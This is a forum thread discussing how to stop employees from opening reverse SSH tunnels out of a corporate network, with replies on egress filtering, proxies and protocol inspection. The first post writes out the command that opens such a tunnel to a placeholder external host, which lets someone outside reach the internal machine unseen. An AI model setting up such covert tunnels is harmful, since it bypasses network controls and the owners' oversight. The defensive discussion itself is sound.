Can we prevent establishing of reverse SSH tunnel between corporate network and a public domain system?
If I can establish an SSH connection from a corporate internal host to the external host using –R option to open port 2222 on the external host back to port 22 on the internal system, then the external host can connect back into internal host.
1. internal$ ssh -R 2222:127.0.0.1:22 external.example.ext
2. external$ ssh -p 2222 127.0.0.1
Here I am establishing a tunnel inside another one, completely bypassing all access restriction and VPN requirements. This type of connection will allow establishing an external gateway to the internal host without the knowledge of the corporate network. The external gateway will control all the traffic to the internal network.
The best way to restrict these kinds of activities is to have a bridge server in the corporate network from which a remote user can SSH to any internal servers. No user should be able to SSH directly to or from the corporate network.
Based on certain regulatory requirements out there, some require that you change the defaults of software out-of-the-box. Since port 22 is typically a standard port for secure shell, most ssh software vendors whether open or closed source, provide for ways to change this port not just for the secure shell, but also to protect other ports in a reverse tunnel functionality. In fact you can secure IMAP, POP3 and other plain text protocols using the reverse tunnel functionality of SSH. Here is an example:
$ ssh -nNT -R 1100: local.mydomain.com:1100 remote.mydomain.com
Here is the article on TechRepublic that goes into greater detail on this topic:
http://articles.techrepublic.com.com/5100-10878_11-5779944.html?tag=nl.e011
Here is another explanation on this topic:
http://www.linuxlogin.com/linux/admin/sshtunnels.php
One topic of discussion important to observe is how SSH traffic/payload can go undetected by modern intrusion detection and prevention tools.
“Widespread use of the SSH protocol greatly reduces the risk of remote computer access by encoding the transmission of clear text usernames and passwords. Prior to the use of SSH, packet sniffing, which allows malicious users to watch for the login process in the clear text packet traffic on a network segment, was an easy method for a malicious user to gain unauthorized access to a machine. Unfortunately, use of SSH might allow a malicious user to bypass intrusion detection systems because of its encrypting of the data payload and its ability to tunnel protocols.” ( SANS.org , http://www.sans.org/reading_room/whitepapers/detection/ssh_and_intrusion_detection_358 , 2009)
Not sure if this is what you are looking for or if you are looking to prevent reverse SSH on your network, which can open up another discussion.
Best method in my opinion is to restrict internet connection for internal users to only specific services like http ft dns, smtp etc (allow only what they need). so that users do not create unauthorised SSH sessions to outside. Most of the firewalls and proxies can inspect well known services like http, ftp smtp traffics, hence even if someone run ssh on other ports it can be blocked.
I agree with the poster above (Anil). Tight egress filtering on firewalls can help enormously in this area. Further, if all outbound connections have go out via an application-aware proxy, it becomes even more difficult to set up these kinds of “reverse tunnels”.
It’s amazing how little scrutiny is (often) paid to outbound firewall rules.. personal firewalls, firewalls on home routers, and even corporate firewalls are frequently guilty of having tight inbound rules, but non-existant outbound rules!
To prevent SSH tunnels through HTTPS (eg. user runs sshd on 443 and uses HTTP CONNECT to get through your proxy) is defeatable if you perform SSLv3 handshake verification on the proxy. Since SSH does not use SSLv3, it will fail this check and can be detected/denied by this.
SSH operates over TCP. The firewalls recognize that TCP is a direction-oriented protocol. So, configure the firewall to allow outbound SSH establishment, but not inbound. However, a better solution would be to operate SSH over SOCKS configured only for outbound.
Glenn, allowing an outbound SSH connection to be established (eg. allowing TCP establishment out but not in as suggested above) doesn’t prevent reverse tunnels, which allow the connection to be established to a remote host and subsequently allow traffic in either direction to flow unrestricted. This is the essence of the problem.
Since SSH can run on any port, you would have to block TCP connection establishment on all ports for outbound, but since services like FTP, HTTP and HTTPS are often required to remain exposed, SSH can be directed to use port 80 or 21 for its outbound connection. This is why other respondents mention statefull inspection as a way of detection non-conforming traffic to what is expected on a given port (HTTPS or SSLv3 as Denes Magyar mentions). SSH tunnels cannot be positively detected because they are encrypted — the traffic could be anything at all.
I’ve been thinking about how a proxy server could be used to lock it down. Prevent SSH except to a white-list of hosts and trusted users and then allow other required, well-known services (http, https, ftp, smtp, dns, etc.) via stateful packet inspection.
…thing is, it’s also possible to tunnel over DNS (google for “tunneling over dns”). It seems he only guaranteed solution is to drop all outbound traffic.